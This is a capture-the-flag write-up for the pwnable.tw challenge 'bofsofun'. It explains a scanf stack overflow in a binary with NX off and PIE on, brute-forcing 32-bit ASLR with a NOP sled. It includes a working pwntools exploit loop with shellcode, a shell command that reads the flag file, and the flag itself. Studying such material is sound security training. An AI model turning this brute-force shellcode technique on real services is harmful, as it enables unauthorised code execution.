Do you know Stack overflow attack ? nc pwning.pwnable.tw 48879 binary
Exploit
bofsofun
.text:0x823leaeax, (aBufferOverflow - 1FB0h)[ebx] ; "Buffer overflow is so fun" .text:0x829mov [esp], eax; s .text:0x82Ccall _puts .text:0x831leaeax, (aEnterYourMagic - 1FB0h)[ebx] ; "Enter your magic :" .text:0x837mov [esp], eax; format .text:0x83Acall _printf .text:0x83Fleaeax, [esp+10h] .text:0x843mov [esp+4], eax .text:0x847leaeax, (aS - 1FB0h)[ebx] ; "%s" .text:0x84Dmov [esp], eax .text:0x850call ___isoc99_scanf .text:0x855leaeax, (aHappyNewYear - 1FB0h)[ebx] ; "\nHappy New Year !!" .text:0x85Bmov [esp], eax; s .text:0x85Ecall _puts
There is a straightforward buffer overflow bug of scanf("%s") at 0x850, and as we can see from the output of checksec below, the NX and STACK CANARY is disabled. It seems that we can insert the shellcode and jump to it. However, also shown in the output of checksec, this is a PIE enabled program. That is, with only one time buffer overflow, we can’t decide where the shellcode or any other portion of the program are located.
$ checksec --file bofsofun RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE Full RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH No 0 1 bofsofun
To deal with this problem, I adopt the brute force attack which makes use of the low entropy of ASLR on 32-bit systems. I choose a possible address of shellcode and run the exploit repeatedly until it successfully return to the shellcode. This wiki page has the information needed for this exploit. According to it, Linux supplies only 19 bits of stack entropy on a period of 16 bytes. It is also verified by random_bits.py, the gdb script which runs the program 20 times to exam the randomness of the address of input buffer where I will put my shellcode.
address = [] for i in range(20): gdb.execute('r > /dev/null', to_string = True) # Read the value of eax, which contains the address of input buffer b = bin(int(str(gdb.parse_and_eval('$eax')), 16)) address.append(b[2:]) print b
# Find out the highest and lowest bits that vary every time high = -1 for i, n_bit in enumerate(zip(*address)): if len(set(n_bit)) > 1: if high == -1: high = i low = i
To further reduce the entropy, I also adopt a 2048-bit nop sled. Under this situation, the probability of jumping to the shellcode is theoretically $\frac{2^{11} \div 2^4}{2^{19}} = \frac{1}{4096} \approx 0.02\%$, which is also consistent to the result of real exploitation.
for i in range(10000): print i try: r = remote('pwning.pwnable.tw', 48879) print r.recvuntil(':') r.sendline('A'*92 + p32(random_addr) + '\x90'*2048 + no_whitespace_shellcode) print r.recvuntil('!!\n') sleep(0.3) r.sendline('cat /home/bofsofun/flag') sleep(0.3) print r.recv() except: pass r.shutdown()
Flag: CTF{4Slr_!S_w34kn3Ss_0n_x86_3z}
Note
At first, I thought that the success rate is $\frac{2^{11}}{2^{19}} = \frac{1}{256} \approx 0.4\%$ because I didn’t consider the fact that the lowest 4 bits are not included in the 19-bit randomness. In short, only every extra $2^4$ of nop sled could effectively increase $\frac{1}{2^{19}}$ of success rate. Therefore, we should divide the length of nop sled by $2^4$, and the final success rate is $\frac{2^{11} \div 2^4}{2^{19}} = \frac{1}{4096} \approx 0.02\%$ as shown above.